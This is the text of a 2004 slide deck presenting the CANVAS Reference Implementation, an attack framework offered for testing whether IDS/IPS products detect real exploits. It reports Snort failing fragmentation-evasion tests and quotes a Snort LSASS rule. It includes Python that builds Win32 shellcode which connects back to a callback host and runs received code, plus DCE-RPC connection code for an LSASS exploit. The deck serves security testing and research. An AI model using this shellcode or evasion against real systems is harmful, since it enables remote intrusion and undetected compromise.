The CANVAS Reference Implementation

V 1.2

October 12, 2004

Dave Aitel

dave@immunitysec.com

http://www.immunitysec.com

Who am I?

I'm not as young as I might look

3 Years NSA before @stake

2 Years @stake before Immunity

2 Years as CEO of Immunity

Immunity is now 5 people, based in NYC, with offices around the globe

Consulting, Training, Vulnerability Sharing Club, CANVAS

CRI - Project Goals

Allow students and researchers access to advanced penetration technology

Demonstrate MOSDEF and other CANVAS components

Give IDS/IPS customers a way to empirically determine the effectiveness of their IDS/IPS

NIPS versus NIDS

“Why not prevent, instead of detect”

Now false positives are denial of service attacks

Failure to handle network load is catastrophic (failing open is not an option, failing closed is not an option)

Latency, throughput, etc (need beefy box)

Running giant parser without grsec a Bad Idea (tm)

Client

IPS

Server

CRI Base Technologies

Portability, Development Speed, Understandability

Pure 100% Python

pyGTK

Although every feature available from commandline

Independently implemented networking libraries

IDS/IPS Testing with CRI 1.0

Actual intrusions, rather than pre-planned network traffic

Custom shellcode/exploits

Active evasion attempts to stress specific parts of the network IDS/IPS

But no “trickery”

Specific to an IDS implementation

Non-documentated protocol features

Serves as the first public baseline testsuite

Full source available, providing complete transparency to tests

What is Immunity CANVAS

Immunity CANVAS is the leading network attack product with advanced features including:

Built in, cross platform, compiler and assembler (MOSDEF)

Reliable exploits for Solaris, Linux, and Windows

Built in network libraries for protocols such as mySQL, DCE-RPC, SunRPC, and SSL

Use of MOSDEF to allow attacker to tunnel through exploited hosts or exploit hosts locally

Unique “Covertness” slide-bar makes IDS evasion easy

CANVAS Reference Implementation
v1.0

Built on CANVAS 5.0 (beta)

Designed to test DCE-RPC detection. Tests include:

Small TCP packet attacks

Small SMB packet attacks

Fragmented DCE-RPC requests

Win32 Framework only (in free version)

LSASS and SPDETECT are included as demonstration tools

Evasion can be turned on and off via “covertness bar”

Research-Friendly Features

Pure Python implementation allows for near perfect portability

Reliable LSASS exploit truly demonstrates weakness of IDS solutions to management

Screenshots are worth a thousand PDFs

Can be run from command line

Full source is available

What is required from the user?

A single-seat license is free with an NDA with proof of identification and intent

We appreciate feedback of all kinds

Keep in mind this is based on a frozen beta of the real CANVAS 5.0

IDS Results

SNORT 2.2.0

Fails test for small TCP sends during SPDETECT

Fails test for small SMB writes during LSASS

Fails test for small DCE fragments

Score: 0/3

False positives on any IPC$ access.

More to come!

Why is this?

Snort does not do protocol reconstruction

Packet signatures are useless against a custom protocol stack

Also lead to unnecessary complexity (reducing speed)

“Flows” versus Structures

At what offset does the string with b appear in the network transaction?

Overflow occurs with len(c) > X

With len(c)+len(b)>Y

struct bob {

[input] char * b;

[input] char * c;

}

Solutions for IDS/IPS

For a Snort-Like IDS to properly decode MSRPC, it may need a decoder module to maintain state

Must carefully map all known variations in common implementations, including bugs

Computation complexity attacks become possible, state mismatch, etc

MSRPC is more complex than SunRPC (ONCRPC)

Reverse-SPIKE

Some linearization of network structures is also possible, similar to SPIKE data structure

<int><pointer to string P><int><string P>

This may fit into “flow” format, and should, in general, require less memory and be somewhat faster than pure state-based techniques

(See www.immunitysec.com for SPIKE and presentations on SPIKE)

Example Current Snort Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCERPC LSASS unicode bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,&,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 05 00 0B|"; within:15; distance:4; byte_test:1,&,16,1,relative; content:"j|28 19|9|0C B1 D0 11 9B A8 00 C0|O|D9|.|F5|"; within:16; distance:29; flowbits:set,netbios.lsass.bind.attempt; flowbits:noalert; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2509; rev:7;)

Named Pipes/TCP/UDP/etc

For each MSRPC attack, there are many Snort signatures – one for each mode of transport

If a transport mode is missing, the attack is ignored entirely

Adding new transport modes requires extensive back-porting of all signatures!

Management Summary

Your network engineers can install the CRI version 1.0, and concretely verify that your NIDS/NIPS solution (or prospective NIDS solution) can detect real-world, modern exploits for the price of an NDA

These tests are scientifically valid and “moral”

I.E. There's nothing up our sleeves, we don't sell an IDS, and we don't care which one you buy

Consider buying a HIDS instead

The CRI is also for researchers

Understanding the CANVAS Framework

Useful CANVAS APIs

Examples

Basic Overview of Framework

NODE 1

Shell

NODE 1->2

Exploit

Shell

self.sock=socket

self.sock=Node 1::MosdefSocket()

node communications

are taken care of for you

canvasengine

Other MOSDEF Advantages

See afternoon presentation!

Native API's can be used (native syscalls, functions, etc)

Windows has a perfectly good MSRPC stack, for example

New shellcode is mindbogglingly easy to create and use

Arguments to an Exploit

Callback host and port (and interface)

TCP listeners are automatically set up on remote nodes and checked for connections

Node arguments (Any number of nodes can be passed to an exploit)

self.engine (canvas engine instance)

target host (structure, not ip) (not a list/network yet, but soon)

argsDict – named arguments

argsDict[“port”], for example

exploitmanager

Each exploit run from the GUI is in its own thread

Beta version does not support thread mutexes, so be careful with this and remote nodes

Also manages success and failure detection

GUI dialog boxes

Each exploit has:

[dave@localhost CRI_dave2]$ ls exploits/lsass/
dialog.glade2 lsass.py

dialog.glade2 is a Glade-2 created xml file that contains information about the dialog box

Arguments are automatically loaded into the exploit at runtime by the canvasengine

Shellcode Creation

shellcodeGenerator for Windows/Linux/Solaris

Shellcodes are dynamically assembled and optimized

Using MOSDEF

Many attributes can be added to shellcodes

Symbol lookup done automatically

Minimizes redundancy in automatically generated shellcodes

Many encoders/decoders available

Shellcode Example

def createShellcode(self):

host=self.callback.ip

port=self.callback.port

self.log("Creating lsass shellcode to call back to %s:%s"%(host,port))

sc = shellcodeGenerator.win32()

sc.addAttr("tcpconnect", {"port" : port, "ipaddress" : host})

sc.addAttr("RecvExecWin32",{"socketreg": "FDSPOT"}) #MOSDEF

sc.addAttr("ExitThread", None)

self.shellcode = sc.get()

encoder = chunkedaddencoder.intelchunkedaddencoder()

encoder.setbadstring(self.badstring)

self.log("Encoding shellcode")

self.shellcode = encoder.encode(self.shellcode)

if self.shellcode == "":

self.log("Problem encoding shellcode")

return 0

self.log("Payload is %d bytes"% len(self.shellcode))

return self.shellcode

Win32 Generation

def exitthread(self,args):

if args!=None:

value=int(args[0])

else:

value=0

code="""

doexitthread:

push $VALUE

call *exitthread-geteip(%ebx)

"""

code=code.replace("VALUE","%s"%value)

self.exitcode+=code

self.imports+=["kernel32.exitthread"]

return

MSRPC Library

See msrpc.py

Fragmentation of all sorts added for covertness

SMB

“TCP” (1 byte packets)

DCE-RPC

Authentication is supported!

DCE object encapsulates most work

IDL Parsing coming soon

Quick Example

def connectDcePipe(self, host):

# connect DCE pipe

connectionList = ["ncacn_ip_tcp:%s[%d]"% (host, self.port),\

"ncacn_ip_tcp:%s[1026]"%host,\

"ncacn_ip_tcp:%s[1027]"%host,\

"ncacn_ip_tcp:%s[1028]"%host,\

"ncacn_np:%s[\\lsarpc]"% (host)]

self.myDCE = DCE("3919286a-b10c-11d0-9ba8-00c04fd92ef5", "0.0", connectionList, covertness = self.covertness, getsock=self)

self.myDCE.setUsername("")

self.myDCE.setPassword("")

try:

map=self.myDCE.connect()

if not map:

self.raiseError("Could not connect to remote server - service is not running or the host is firewalled.")

except DCEException, msg:

self.raiseError(str(msg))

self.log("attacking %s" % map)

return 1

Nodes

Nodes are not all the same!

win32Node

LocalNode

linuxNode

SQLNode

UnixShellNode

Callbacks do not have to be on any node in particular

CANVAS Engine

Stores global data (current target, selected nodes, etc)

getModuleExploit() can be used to load an exploit during another exploit

canvasexploit::link() is used to chain exploits together so they inherit properties from a parent exploit

automatically sets arguments for exploits called from the GUI

Interesting Research Opportunities

Embedded LGPLed SPIKE Proxy

Network diagnostics

Circuit detection

Host uniqueness

Are two nodes on the same network?

Honeypot evasion

etc!

Future Releases

Further protocol tests

Automated Worm Modeling (to test HIDS)

Simple scripts based on commandLineInterface.py can be used to pretend to be a network worm

Conclusion

IDS MSRPC parsing is a valuable field of research

Exploits need not use obscure RPC protocols when they can do simple things to slip right under an IDS's nose

MOSDEF's Node structure allows for interesting new ways to exploit hosts

HP Openview+Exploits

Does most NIDS/NIPS technology protect against worms or attackers?

2004-04-07T14:51:38